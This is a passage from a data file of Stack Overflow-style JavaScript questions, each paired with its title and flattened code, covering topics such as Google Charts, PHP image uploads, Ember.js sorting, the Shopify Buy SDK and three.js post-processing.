0,0,0,11,34,0 ) , new Date ( 0,0,0,11,35,0 ) ] , [ ' # 5856 ' , 'Problemen iMac ' , new Date ( 0,0,0,17,28,0 ) , new Date ( 0,0,0,18,0,0 ) ] , [ ' # 5856 ' , 'Internet Broekseweg ' , new Date ( 0,0,0,9,14,0 ) , new Date ( 0,0,0,9,15,0 ) ] , [ ' # 5856 ' , 'Internet Broekseweg ' , new Date ( 0,0,0,9,0,0 ) , new Date ( 0,0,0,10,0,0 ) ] , [ ' # 5856 ' , 'Internet Broekhovenseweg ' , new Date ( 0,0,0,16,2,0 ) , new Date ( 0,0,0,16,12,0 ) ] , [ ' # 5857 ' , 'gebruiker Abdel issues met opstarten ' , new Date ( 0,0,0,11,37,0 ) , new Date ( 0,0,0,11,38,0 ) ] , [ ' # 5895 ' , 'Printer uit flexplek halen ' , new Date ( 0,0,0,11,9,0 ) , new Date ( 0,0,0,11,17,0 ) ] ] ) ; var options = { colors : [ ' # B20054 ' , ' # 993D69 ' , ' # BD00FF ' , ' # FFFE40 ' , ' # CCB814 ' , ' # 998F3D ' , ' # 40B2FF ' ] , timeline : { colorByRowLabel : true , rowLabelStyle : { fontSize : 9 , color : ' # 603913 ' } , barLabelStyle : { fontSize : 9 } } } ; chart.draw ( dataTable , options ) ;",Google Chart can not color horizontal axis ( hAxis ) "JS : According to jsLint it is recommended to declare for loop in the following way : What is the difference between i++ and i+=1 in this context ? Any help will be appreciated ! for ( var i = 0 , length = data.length ; i < length ; i+=1 ) { ... }",jsLint for loop declaration "JS : Is this the best way to replace the first occurrence of something ? Note : If the item is not in the array , I do n't want anything to happen . ( No errors / broken array ) my_list [ my_list.indexOf ( old_item ) ] = new_item",best way to replace the first occurrence of an item in an array "JS : I am currently coding a timetable application with PHP.What I want to do is to have a button for each day of the week and that when a user clicks each button , the tasks listed down for that day are loaded into the browser window using JavaScript.My current code is : The function is inside Joomla and has been tested to work fine . The help I need is how to call that function using Javascript/AJAX . As far as I can see , all Javascript would have to do is call the function with the selected day ( e.g , getTimetable ( 1 ) where 1 is the value for the Monday button in the HTML ) . < ? phpclass loadTimetable { public static function getTimetable ( $ params ) { //Obtain a database connection $ db = JFactory : :getDbo ( ) ; //Retrieve the shout $ query = $ db- > getQuery ( true ) - > select ( $ db- > quoteName ( 'title ' ) ) - > from ( $ db- > quoteName ( ' # __timetable ' ) ) - > where ( 'day = ' . $ db- > Quote ( $ params ) ) ; //Prepare the query $ db- > setQuery ( $ query ) ; // Load the row . $ result = $ db- > loadResult ( ) ; //Return the Hello return $ result ; } } $ day = date ( `` N '' ) ; $ timetable = getTimetable ( $ day ) ; ? > < h1 > < ? php echo $ timetable ; ? > < /h1 >",Loading data from Joomla using Javascript "JS : i use https : //github.com/promosis/file-upload-with-preview to display preview for multiple imageit works fine , but i ca n't add a extra image are remove image.https : //github.com/promosis/file-upload-with-preview/issues/30 # issuecomment-563352824 enableing cachedFileArray exampleAddingi added 3 images to input , i get 3 images in preview without submitting form i added 1 image now i get 4 images in preview , When i submit the form i get only 1 image upload ( recently added file ) .Removingit happens same in removing image added 4 images and removed 1 image when i upload all 4 images are uploaded , everything happen only on preview but noting happen in < input > -- -- Is there any other better way to do ( other codes or library ) But i want to use my custom upload handler.PHP upload handler var upload = new FileUploadWithPreview ( 'myUniqueUploadId ' , { maxFileCount : 4 , text : { chooseFile : 'Maximum 4 Images Allowed ' , browse : 'Add More Images ' , selectedCount : 'Files Added ' , } , } ) ; .custom-file-container { max-width : 400px ; margin : 0 auto ; } < link href= '' https : //unpkg.com/file-upload-with-preview @ 4.0.2/dist/file-upload-with-preview.min.css '' rel= '' stylesheet '' / > < script src= '' https : //unpkg.com/file-upload-with-preview @ 4.0.8/dist/file-upload-with-preview.min.js '' > < /script > < form action= '' save.php '' method= '' post '' enctype= '' multipart/form-data '' > < div class= '' custom-file-container '' data-upload-id= '' myUniqueUploadId '' > < label > Upload File < a href= '' javascript : void ( 0 ) '' class= '' custom-file-container__image-clear '' title= '' Clear Image '' > & times ; < /a > < /label > < label class= '' custom-file-container__custom-file '' > < input type= '' file '' name= '' files [ ] '' class= '' custom-file-container__custom-file__custom-file-input '' accept= '' image/* '' multiple aria-label= '' Choose File '' > < input type= '' hidden '' name= '' MAX_FILE_SIZE '' value= '' 10485760 '' / > < span class= '' custom-file-container__custom-file__custom-file-control '' > < /span > < /label > < div class= '' custom-file-container__image-preview '' style= '' overflow : auto ! important '' > < /div > < /div > < input type= '' submit '' value= '' Upload Image '' name= '' submit '' > < /form > $ desired_dir = `` $ _SERVER [ DOCUMENT_ROOT ] /upload/file/ '' ; $ thumb_directory = `` $ _SERVER [ DOCUMENT_ROOT ] /upload/thumb/ '' ; $ file = [ ] ; $ nw = 125 ; $ nh = 90 ; if ( ! empty ( $ _POST ) ) { if ( isset ( $ _FILES [ 'files ' ] ) ) { $ uploadedFiles = array ( ) ; foreach ( $ _FILES [ 'files ' ] [ 'tmp_name ' ] as $ key = > $ tmp_name ) { $ errors = array ( ) ; $ file_name = md5 ( uniqid ( `` '' ) . time ( ) ) ; $ file_size = $ _FILES [ 'files ' ] [ 'size ' ] [ $ key ] ; $ file_tmp = $ _FILES [ 'files ' ] [ 'tmp_name ' ] [ $ key ] ; $ file_type = $ _FILES [ 'files ' ] [ 'type ' ] [ $ key ] ; if ( $ file_type == `` image/gif '' ) { $ sExt = `` .gif '' ; } elseif ( $ file_type == `` image/jpeg '' || $ file_type == `` image/pjpeg '' ) { $ sExt = `` .jpg '' ; } elseif ( $ file_type == `` image/png '' || $ file_type == `` image/x-png '' ) { $ sExt = `` .png '' ; } if ( ! in_array ( $ sExt , array ( '.gif ' , '.jpg ' , '.png ' ) ) ) { $ errors [ ] = `` Image types alowed are ( .gif , .jpg , .png ) only ! `` ; } if ( $ file_size > 2097152000 ) { $ errors [ ] = 'File size must be less than 2 MB ' ; } if ( empty ( $ errors ) ) { if ( is_dir ( $ desired_dir ) == false ) { mkdir ( `` $ desired_dir '' , 0700 ) ; } $ file_name_with_ext = $ file_name . $ sExt ; $ source = $ desired_dir . $ file_name_with_ext ; if ( ! move_uploaded_file ( $ file_tmp , $ source ) ) { echo `` Could n't upload file `` . $ _FILES [ 'files ' ] [ 'tmp_name ' ] [ $ key ] ; $ file [ ] = NULL ; } else { $ size = getimagesize ( $ source ) ; $ w = $ size [ 0 ] ; $ h = $ size [ 1 ] ; switch ( $ sExt ) { case '.gif ' : $ simg = imagecreatefromgif ( $ source ) ; break ; case '.jpg ' : $ simg = imagecreatefromjpeg ( $ source ) ; break ; case '.png ' : $ simg = imagecreatefrompng ( $ source ) ; break ; } $ dest = $ thumb_directory . $ file_name_with_ext ; $ dimg = resizePreservingAspectRatio ( $ simg , $ nw , $ nh ) ; imagepng ( $ dimg , $ dest ) ; // imagewebp ( $ dimg , $ dest ) ; compress ( $ source , `` $ desired_dir '' . $ file_name_with_ext , 50 ) ; compress ( $ dest , $ dest , 50 ) ; $ file [ ] = $ file_name_with_ext ; } } else { // TODO : error handling } } } $ stmt = $ conn- > prepare ( `` INSERT INTO allpostdata ( im1 , im2 , im3 , im4 ) '' . `` VALUES ( : im1 , : im2 , : im3 , : im4 ) '' ) ; $ stmt- > bindParam ( ' : im1 ' , $ file [ 0 ] , PDO : :PARAM_STR , 100 ) ; $ stmt- > bindParam ( ' : im2 ' , $ file [ 1 ] , PDO : :PARAM_STR , 100 ) ; $ stmt- > bindParam ( ' : im3 ' , $ file [ 2 ] , PDO : :PARAM_STR , 100 ) ; $ stmt- > bindParam ( ' : im4 ' , $ file [ 3 ] , PDO : :PARAM_STR , 100 ) ; if ( $ stmt- > execute ( ) ) { header ( 'Location : https : //google.com ' ) ; } exit ; } function compress ( $ source , $ destination , $ quality ) { $ info = getimagesize ( $ source ) ; if ( $ info [ 'mime ' ] == 'image/jpeg ' ) { $ image = imagecreatefromjpeg ( $ source ) ; } elseif ( $ info [ 'mime ' ] == 'image/gif ' ) { $ image = imagecreatefromgif ( $ source ) ; } elseif ( $ info [ 'mime ' ] == 'image/png ' ) { $ image = imagecreatefrompng ( $ source ) ; } imagejpeg ( $ image , $ destination , $ quality ) ; return $ destination ; } function resizePreservingAspectRatio ( $ img , $ targetWidth , $ targetHeight ) { $ srcWidth = imagesx ( $ img ) ; $ srcHeight = imagesy ( $ img ) ; $ srcRatio = $ srcWidth / $ srcHeight ; $ targetRatio = $ targetWidth / $ targetHeight ; if ( ( $ srcWidth < = $ targetWidth ) & & ( $ srcHeight < = $ targetHeight ) ) { $ imgTargetWidth = $ srcWidth ; $ imgTargetHeight = $ srcHeight ; } else if ( $ targetRatio > $ srcRatio ) { $ imgTargetWidth = ( int ) ( $ targetHeight * $ srcRatio ) ; $ imgTargetHeight = $ targetHeight ; } else { $ imgTargetWidth = $ targetWidth ; $ imgTargetHeight = ( int ) ( $ targetWidth / $ srcRatio ) ; } $ targetImg = imagecreatetruecolor ( $ targetWidth , $ targetHeight ) ; $ targetTransparent = imagecolorallocate ( $ targetImg , 255 , 0 , 255 ) ; imagefill ( $ targetImg , 0 , 0 , $ targetTransparent ) ; imagecolortransparent ( $ targetImg , $ targetTransparent ) ; imagecopyresampled ( $ targetImg , $ img , 0 , 0 , 0 , 0 , $ targetWidth , $ targetHeight , $ srcWidth , $ srcHeight ) ; return $ targetImg ; } ? >",Unable to add or remove image from multiple html input field "JS : How could I `` Turn inside out '' a JSON object received from a server API using javascript ? example inputdesired outputHow to turn the last element to be the first and so on until every `` child '' property becomes the parent of it 's original parent ? [ { `` id '' : 7 , `` idAsignacion '' : 9 , `` idPregunta '' : 4 , `` cumplimiento '' : 1 , `` observacionNumeral '' : 20 , `` observacionEscrita '' : `` HOLAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA '' , `` rutaObservacionDocumental '' : `` 1/1/1/1/4 '' , `` created_at '' : `` 2017-01-31 18:26:44 '' , `` updated_at '' : `` 2017-01-31 18:26:44 '' , `` traer_preguntas '' : { `` id '' : 4 , `` idRequisito '' : 1 , `` ordenPreguntas '' : 1 , `` pregunta '' : `` jojgpofdkñkñdkgñk '' , `` tecnicaAuditoria '' : `` Observación '' , `` escrita '' : 1 , `` numeral '' : 1 , `` documental '' : 1 , `` estado '' : 0 , `` created_at '' : `` 2017-01-31 15:42:41 '' , `` updated_at '' : `` 2017-01-31 15:42:41 '' , `` obtener_requisitos '' : { `` id '' : 1 , `` ordenRequisito '' : 1 , `` idDimension '' : 1 , `` nombreRequisito '' : `` Requisito uno '' , `` estado '' : 0 , `` created_at '' : `` 2017-01-30 15:19:02 '' , `` updated_at '' : `` 2017-01-30 15:19:02 '' , `` obtener_dimensiones '' : { `` id '' : 1 , `` ordenDimension '' : 1 , `` dimension '' : `` Dimension UNO '' , `` estado '' : 0 , `` created_at '' : `` 2017-01-30 15:18:48 '' , `` updated_at '' : `` 2017-01-30 15:18:48 '' } } } } ] `` obtener_dimensiones '' : { `` id '' : 1 , `` ordenDimension '' : 1 , `` dimension '' : `` Dimension UNO '' , `` estado '' : 0 , `` created_at '' : `` 2017-01-30 15:18:48 '' , `` updated_at '' : `` 2017-01-30 15:18:48 '' '' obtener_requisitos '' : { `` id '' : 1 , `` ordenRequisito '' : 1 , `` idDimension '' : 1 , `` nombreRequisito '' : `` Requisito uno '' , `` estado '' : 0 , `` created_at '' : `` 2017-01-30 15:19:02 '' , `` updated_at '' : `` 2017-01-30 15:19:02 '' , `` traer_preguntas '' : { `` id '' : 4 , `` idRequisito '' : 1 , `` ordenPreguntas '' : 1 , `` pregunta '' : `` jojgpofdkñkñdkgñk '' , `` tecnicaAuditoria '' : `` Observación '' , `` escrita '' : 1 , `` numeral '' : 1 , `` documental '' : 1 , `` estado '' : 0 , `` created_at '' : `` 2017-01-31 15:42:41 '' , `` updated_at '' : `` 2017-01-31 15:42:41 '' , { `` id '' : 7 , `` idAsignacion '' : 9 , `` idPregunta '' : 4 , `` cumplimiento '' : 1 , `` observacionNumeral '' : 20 , `` observacionEscrita '' : `` HOLAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA '' , `` rutaObservacionDocumental '' : `` 1/1/1/1/4 '' , `` created_at '' : `` 2017-01-31 18:26:44 '' , `` updated_at '' : `` 2017-01-31 18:26:44 '' , } } } }",How to reverse the hierarchy of a JSON object ? "JS : I 'm tying to get an orientation change to work on the mobile browsers . When the orientation changes the div `` wrapStat '' is supposed to change between inline and block display . This complete block of text is replaced every X seconds by an ajax call so putting a style on the wrapStat class itself will not work . I 'm changing the parent # CustomStats class between portraitCustomStats and landscapeCustomStats depending on the orientation . This works in Firefox ( resizing the browser will flip the orientation flag ) but does not work in any webkit browser until the ajax call fires.Is there a problem with webkit and dynamically changing inline and block styles ? css : javascript : HTML : Here is the jsFiddle of the code actually not working ... http : //jsfiddle.net/Hupperware/43eK8/5/Mobile view : http : //jsfiddle.net/m/rat/This works in Firefox ( text turns red in `` landscape '' and blue in `` portrait '' just so you know it 's working ) . In FF it will show inline and block as you go between a wider view and a narrow view ... In Webkit ( Safari and Chrome ) it will not ... .portraitCustomStats .StatsRow .wrapStat { display : block ! important ; } .landscapeCustomStats .StatsRow .wrapStat { display : inline ! important ; } $ ( window ) .bind ( 'orientationchange ' , function ( anOrientationEvent ) { if ( $ ( window ) .width ( ) > 600 ) return ; $ ( `` # CustomStats '' ) .attr ( `` class '' , anOrientationEvent.orientation.toLowerCase ( ) + `` CustomStats '' ) .trigger ( `` updatelayout '' ) ; } ) ; < span id= '' CustomStats '' class= '' portraitCustomStats '' > < tr class= '' StatsRow '' > < td class= '' description '' > Unique Visitors < /td > < td class= '' stat '' > < span class= '' UniqueVisitors '' > < strong > < div class= '' wrapStat '' > < span class= '' pastStat '' > ( 1,318 ) < /span > < img src= '' ../../Images/up_arr.gif '' alt= '' increase '' > < span class= '' increasedStat '' > 85.43 % < /span > < /div > < /span > < /td > < /tr > < /span >",Webkit JQuery Mobile block to inline Transition Not Functioning "JS : I want to replace a specific word in my code without effecting html URLs and attributes.i tried to replace each p tag but there are some contents in div tags which also needs to be replaced . $ ( `` p : not ( : has ( img ) ) '' ) .each ( function ( ) { var b = $ ( this ) .html ( ) .replace ( /oldtext/g , `` newtext '' ) ; $ ( this ) .html ( b ) ; } ) ;",Replace a text in html tag without effecting tags attributes and links JS : Do ternary operators only accept specific types of objects ? ​var truth = true ; ( truth ) ? console.log ( 'It is true ' ) : throw new Error ( 'It is not true ' ) ; ​​​​​​​​​​​​​​​,Why is this ternary operator invalid in JS "JS : I 'm having two arrays : first one is empdata holding empid and events attended by that employee , then second array is holding event details.I need to compare empid from array with user input and display particular event details attended by respective employee using collapsible jQuery . Find total price also . Thanks in advance ! $ scope.empdata= [ ] ; $ scope.data = [ ] ; //first array data $ scope.empdata.push ( { empid : 'empid_1 ' , events : [ { event : 'First Event ' } , { event : 'Second Event ' } ] } ) $ scope.empdata.push ( { empid : 'empid_2 ' , events : [ { event : 'First Event ' } , { event : 'Second Event ' } , { event : 'Third Event ' } ] } ) //second array data $ scope.data.push ( { event : 'First Event ' , date : '10-jun-2015 ' , type : [ { name : 'Hotel Booking ' , price : 400.00 } , { name : 'Flight ' , price : 400.00 } , { name : 'Honorarium ' , price : 900.00 } ] } ) $ scope.data.push ( { event : 'Second Event ' , date : '27-july-2015 ' , type : [ { name : 'Hotel Booking ' , price : 530.00 } , { name : 'Train ' , price : 400.00 } , { name : 'Honorarium ' , price : 600.00 } ] } ) $ scope.data.push ( { event : 'Third Event ' , date : '20-aug-2015 ' , type : [ { name : 'Hotel Booking ' , price : 910.00 } , { name : 'Flight ' , price : 500.00 } , { name : 'Honorarium ' , price : 1500.00 } ] } )",Comparing objects between 2 nested arrays in Angularjs and display respective matching data "JS : There is some button which user clicks to be redirected to diffrent controller action . I would like to show user some nice waiting information ( maybe using bootstrap ? ) that user knows to wait . Can you advice something ? Below my curernt code : this is part of my JS which is pasting some href url to modal bootstrap window : this is the modal bootstrap window where above js href will be placed and will replace this one : Now when this is done there is some operation behind which is loading pictures to gallery and on that moment i would like to show user animation . How do do that ? ... var href = $ ( ' # details ' ) .attr ( 'href ' ) ; // currently returns '/TransportGallery/Details/1 ' href = href.slice ( 0 , href.lastIndexOf ( '/ ' ) + 1 ) + id ; $ ( ' # details ' ) .attr ( 'href ' , href ) ; ... ... < a href= '' @ Url.Action ( `` Details '' , `` TransportGallery '' , New With { .id = 1 } ) '' class= '' btn btn-primary '' id= '' details '' > Show pictures < span class= '' glyphicon glyphicon-picture '' aria-hidden= '' true '' > < /span > < /a > < button type= '' button '' class= '' btn btn-warning glyphicon glyphicon-off '' data-dismiss= '' modal '' > Close < /button > < /div > < /div > < /div > < /div > ...",Show waiting animation during action redirect mvc "JS : it 's probably not the right place to post this but i do n't know where else to post it.i have 5 lines ( d1 - > d5 ) equally distributed from each other in 3d perspective , i have the values of ( a ) angle , ( d1 ) and ( b5 ) . i need to calculate ( b2 , b3 , b4 , d2 , d3 , d4 , d5 ) with jquery.i can calculate d5 with : but i have no idea how to calculate b2 , b3 and b4 . ( d1 is divided into 4 identical segaments ( s ) ) any help would be appreciated . d5 = d1 - ( b5 * Math.tan ( a ) )",General formula to calculate 3d-space equal distances "JS : Suppose I want to convert a base-36 encoded string to a BigInt , I can do this : But what if my string exceeds what can safely fit in a Number ? e.g.Then I start losing precision.Are there any methods for parsing directly into a BigInt ? BigInt ( parseInt ( x,36 ) ) parseInt ( 'zzzzzzzzzzzzz',36 )",Base 36 to BigInt ? "JS : I 'm currently reading about two way data binding in Angular 2 and reading this article . https : //blog.thoughtram.io/angular/2016/10/13/two-way-data-binding-in-angular-2.htmlIn this article , there is a child component with an @ Input and @ Output which allows a value inside the component to be bonded to a variable on its parent.parent HTMLSo for me , I understand why the @ Input is needed - however I do n't understand how the @ Output counterChange works because it 's not even being subscribed by anything on the parent . However , it is necessary to have it there and also have it called counterChange in order to work.The author of the article says The next thing we need to do , is to introduce an @ Output ( ) event with the same name , plus the Change suffix . We want to emit that event , whenever the value of the counter property changes . Let ’ s add an @ Output ( ) property and emit the latest value in the setter interceptor : Why do we need to have the same name plus change suffix ? Is this some sort of Angular convention that I 'm unaware of ? I 'm just trying to figure out which fundamental concept I 've missed so I can understand how this is working.I have a plunker of the code here if it 'll help.https : //plnkr.co/edit/BubXFDQ59ipxEdnEHWiG ? p=preview export class CustomCounterComponent { counterValue = 0 ; @ Output ( ) counterChange = new EventEmitter ( ) ; @ Input ( ) get counter ( ) { return this.counterValue ; } set counter ( val ) { this.counterValue = val ; this.counterChange.emit ( this.counterValue ) ; } decrement ( ) { this.counter -- ; } increment ( ) { this.counter++ ; } } < custom-counter [ ( counter ) ] = '' counterValue '' > < /custom-counter > < p > < code > counterValue = { { counterValue } } < /code > < /p >",Why is the @ Output EventEmitter required in this code example ? "JS : Why does fails ( error in both firefox and ie , returns the original string in chrome ) while calling all other arrays methods on a string work ? [ ] .reverse.call ( `` string '' ) ; > > > [ ] .splice.call ( `` string '' ,3 ) [ `` i '' , `` n '' , `` g '' ] > > > [ ] .map.call ( `` string '' , function ( a ) { return a +a ; } ) [ `` ss '' , `` tt '' , `` rr '' , `` ii '' , `` nn '' , `` gg '' ]",Call [ ] .reverse on a string "JS : How do I generate a 9-digit integer that has all digits from 1-9 ? Like 123456798 , 981234765 , 342165978 , etc.Doing this : does not work give me the integer that I want most of the time ( does not have ALL digits from 1 to 9 ) .111111119 is not acceptable because each number must have at least one `` 1 '' in it , `` 2 '' , `` 3 '' , ... and a `` 9 '' in it . var min = 100000000 ; var max = 999999999 ; var num = Math.floor ( Math.random ( ) * ( max - min + 1 ) ) + min ;",Generate random integer with ALL digits from 1-9 "JS : I am confused by the results of mapping over an array created with new : I expected a.map ( returnsFourteen ) to return [ 14 , 14 , 14 , 14 ] ( the same as b.map ( returnsFourteen ) , because according to the MDN page on arrays : If the only argument passed to the Array constructor is an integer between 0 and 2**32-1 ( inclusive ) , a new JavaScript array is created with that number of elements.I interpret that to mean that a should have 4 elements . What am I missing here ? function returnsFourteen ( ) { return 14 ; } var a = new Array ( 4 ) ; > [ undefined x 4 ] in Chrome , [ , , , , ] in Firefoxa.map ( returnsFourteen ) ; > [ undefined x 4 ] in Chrome , [ , , , , ] in Firefoxvar b = [ undefined , undefined , undefined , undefined ] ; > [ undefined , undefined , undefined , undefined ] b.map ( returnsFourteen ) ; > [ 14 , 14 , 14 , 14 ]",Confused by behavior of ` map ` on arrays created using ` new ` "JS : In the Ember app I 'm building , I 've got an ArrayController managing a list of items with several columns of data for each record object in the array with a sort button in each column header in the view . I have set up the list to sort on a given column per Balint Erdi 's recommended method here . You will see this sorting in my code below.The sorting works fine . However , the problem arises when I remove an item from the array . Currently , when I attempt to remove an item from the array , the correct item is apparently removed from the array and is properly deleted from the store and the delete is saved to my backend . However , after the item removal , my view is not correct . In some cases , the wrong item is shown as removed , in other cases , no item is shown as removed . Yet IF I press sort again , the view is updated correctly.So , the index of the array is obviously getting off some how , but I 'm not sure how and all of my attempts to apply the tricks of others are not working ! Here is my route object : Here is my ArrayController : And here is my template code : NOTE : There is some similarity between my question and this other StackOverflow question : After using jQuery UI to sort an Ember.js item , using Ember Data 's model.deleteRecord ( ) does n't work , however , I 've attempted to apply that answer my own problem with no success . Furthermore , I have no jQuery going on here in my sorting . App.UsersFilesRoute = Ember.Route.extend ( { model : function ( ) { return this.modelFor ( 'users ' ) .get ( 'files ' ) ; } } ) ; App.UsersFilesController = Ember.ArrayController.extend ( { sortProperties : [ 'name ' ] , sortedFiles : Ember.computed.sort ( 'model ' , 'sortProperties ' ) , actions : { addFile : function ( file ) { var newFile = this.store.createRecord ( 'file ' , { name : file.name.trim ( ) , fileSize : file.size , loaded : false } ) ; this.pushObject ( newFile ) ; } , sortBy : function ( sortProperties ) { this.set ( 'sortProperties ' , [ sortProperties ] ) ; } , removeFile : function ( fileToRemove ) { var _this = this ; var file = this.store.find ( 'file ' , fileToRemove.get ( 'id ' ) ) ; file.then ( function ( file ) { _this.removeObject ( file ) ; file.deleteRecord ( ) ; file.save ( ) ; } ) ; } , saveFile : function ( file ) { ... . } } } ) ; < div class= '' hidden-xs row user-file-header-row '' > < div class= '' col-sm-5 col-md-5 user-file-header '' > File Name < button type= '' button '' class= '' btn-xs btn-default files-sort-btn '' { { action 'sortBy ' 'name ' } } > < /button > < /div > < div class= '' col-sm-1 col-md-1 user-file-header '' > Size < button type= '' button '' class= '' btn-xs btn-default files-sort-btn '' { { action 'sortBy ' 'fileSize ' } } > < /button > < /div > < /div > { { # each file in sortedFiles } } < div class= '' row user-file user-file-break '' > < div class= '' col-xs-11 col-sm-5 col-md-5 user-file-name '' > < a { { bind-attr href= '' file.path '' } } > { { file.name } } < /a > < /div > < div class= '' col-xs-9 col-sm-1 col-md-1 '' > { { format-file-size file.fileSize } } < /div > < div class= '' col-xs-9 col-sm-1 col-md-1 '' > < button type= '' button '' class= '' btn-xs btn-default files-list-btn '' { { action 'removeFile ' file } } > < /button > < /div > < /div > { { /each } }",Ember.js : Deleting an Item from a Sorted ArrayController "JS : I am currently trying to build a Wordpress site to sell products online , I am using Shopify to handle the ecommerce part . The problem relies on this piece of code.I am using the minified UMD build version posted on the documentation , my actual code is this : I do n't use the import because I am using the CDN resource ( I enqueue it on my wordpress functions.php ) , the declaration of the client in my code is different since for unknown reasons for me , whenever I try to only use the piece of code provided by the shopify documentation I receive error messages saying I am missing the apiKey and the appID so I needed to include them , to later receive this message from console : [ ShopifyBuy ] Config property apiKey is deprecated as of v1.0 , please use storefrontAccessToken instead.and also receive this error : `` TypeError : client.product is undefined '' So this makes me believe that either the minified version provided is outdated or something is wrong with the information provided from shopify to the people that try to use the minified UMD version.There is also 1 youtube video explaining how to use this from about 1 year ago at the time of writing , The shopify UI is outdated and the code is also outdated , so I do n't wan na build all store with deprecated code so that I will need to re-do it . This is a huge deal for people like me that build websites for clients.So in conclusion , I need help to know how to declare the client object or if anyone has already done it on Wordpress tell me how to do it pleaseThis is the error I mentioned about missing the apiKey : buy-button-storefront.min.js:2 Uncaught Error : new Config ( ) requires the option 'apiKey ' at buy-button-storefront.min.js:2 at Array.forEach ( ) at n.constructor ( buy-button-storefront.min.js:2 ) at new n ( buy-button-storefront.min.js:2 ) at Object.buildClient ( buy-button-storefront.min.js:3 ) at ( index ) :235 import Client from 'shopify-buy ' ; const client = Client.buildClient ( { domain : 'your-shop-name.myshopify.com ' , storefrontAccessToken : 'your-storefront-access-token ' } ) ; const client = ShopifyBuy.buildClient ( { domain : 'domain.myshopify.com ' , storefrontAccessToken : 'token ' , apiKey : 'key ' , appId : ' 6 ' } ) ; // Fetch all products in your shopclient.product.fetchAll ( ) .then ( ( products ) = > { // Do something with the products console.log ( products ) ; } ) ;",Misleading and Outdated Shopify Buy JS Documentation "JS : Using three.js , I would like to apply separate post-processing effects to individual scenes and then combine all these scenes into a final render . To do this I am using the three.js Effects Composer.I create a separate Effects Composer instance for each post-processing shader I want to apply . ( In this example I am using the same radial blur shader twice for simplicity . ) As you see , I clear the render pass to a transparent background . Then the shader pass will draw to the renderbuffer using the typical SRC_ALPHA , ONE_MINUS_SRC_ALPHA blend.My render code then looks like thisHowever , this process does not blend the layers together correctlyThis is what I getFirst pass before blending ( correct ) Second pass before blending ( correct ) Both passes blended as described ( incorrect ) Too darkpremultipliedAlpha disabled ( incorrect ) Too transparentWhy are the squares too dark when both layers are blended together ? Why are the squares too transparent when premultipliedAlpha is disabled ? How can I blend both layers together so that they look the same as before blending ? const radialBlurShader = { uniforms : { `` tDiffuse '' : { value : null } , } , vertexShader : ` varying vec2 vUv ; void main ( ) { vUv = uv ; gl_Position = projectionMatrix * modelViewMatrix * vec4 ( position , 1.0 ) ; } ` , fragmentShader : ` uniform sampler2D tDiffuse ; varying vec2 vUv ; const float strength = 0.7 ; const int samples = 50 ; void main ( ) { vec4 col = vec4 ( 0 ) ; vec2 dir = vec2 ( 0.5 ) - vUv ; for ( int i = 0 ; i < samples ; i++ ) { float amount = strength * float ( i ) / float ( samples ) ; vec4 sample = texture2D ( tDiffuse , vUv + dir * amount ) + texture2D ( tDiffuse , vUv - dir * amount ) ; col += sample ; } gl_FragColor = 0.5 * col / float ( samples ) ; } ` } ; const renderWidth = window.innerWidth ; const renderHeight = window.innerHeight ; const renderer = new THREE.WebGLRenderer ( { antialias : true , } ) ; renderer.setSize ( renderWidth , renderHeight ) ; document.body.appendChild ( renderer.domElement ) ; const camera = new THREE.PerspectiveCamera ( 45 , renderWidth / renderHeight , 0.1 , 1000 ) ; camera.position.z = 10 ; var geometry = new THREE.PlaneGeometry ( 1 , 1 ) ; var material = new THREE.MeshBasicMaterial ( { color : 0x0000ff , transparent : true } ) ; function makeEC ( scene ) { const ec = new THREE.EffectComposer ( renderer ) ; const rp = new THREE.RenderPass ( scene , camera ) ; const sp = new THREE.ShaderPass ( radialBlurShader ) ; rp.clearColor = 0xffffff ; rp.clearAlpha = 0 ; sp.renderToScreen = true ; sp.material.transparent = true ; sp.material.blending = THREE.CustomBlending ; ec.addPass ( rp ) ; ec.addPass ( sp ) ; return ec ; } const scene1 = new THREE.Scene ( ) ; const mesh1 = new THREE.Mesh ( geometry , material ) ; mesh1.position.x = 2 ; scene1.add ( mesh1 ) ; ec1 = makeEC ( scene1 ) ; const scene2 = new THREE.Scene ( ) ; const mesh2 = new THREE.Mesh ( geometry , material ) ; mesh2.position.x = -2 ; scene2.add ( mesh2 ) ; ec2 = makeEC ( scene2 ) ; renderer.setClearColor ( 0xffffaa , 1 ) ; renderer.autoClear = false ; renderer.clear ( ) ; ec1.render ( ) ; ec2.render ( ) ; < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/three.js/r82/three.js '' > < /script > < script src= '' https : //rawgit.com/mrdoob/three.js/r82/examples/js/shaders/CopyShader.js '' > < /script > < script src= '' https : //rawgit.com/mrdoob/three.js/r82/examples/js/postprocessing/EffectComposer.js '' > < /script > < script src= '' https : //rawgit.com/mrdoob/three.js/r82/examples/js/postprocessing/RenderPass.js '' > < /script > < script src= '' https : //rawgit.com/mrdoob/three.js/r82/examples/js/postprocessing/ShaderPass.js '' > < /script > function makeEC ( scene ) { const ec = new THREE.EffectComposer ( renderer ) ; const rp = new THREE.RenderPass ( scene , camera ) ; const sp = new THREE.ShaderPass ( radialBlurShader ) ; rp.clearColor = 0xffffff ; rp.clearAlpha = 0 ; sp.renderToScreen = true ; sp.material.transparent = true ; // defaults to SRC_ALPHA , ONE_MINUS_SRC_ALPHA sp.material.blending = THREE.CustomBlending ; ec.addPass ( rp ) ; ec.addPass ( sp ) ; return ec ; } const ec1 = makeEC ( scene1 ) ; const ec2 = makeEC ( scene2 ) ; renderer.setClearColor ( 0xffffaa , 1 ) ; renderer.autoClear = false ; renderer.clear ( ) ; ec1.render ( ) ; ec2.render ( ) ;",How to blend multiple layers with opacity ? "JS : I was wondering what difference does it make if i exclude the underscore before the function call.UpdateThe OP is referring to the jquery indexeddb plugin . $ .each ( data , function ( i ) { _ ( catalog.add ( this ) ) ; //iterating through each object in objectStore } ) ;",What difference does the _ ( underscore ) before the 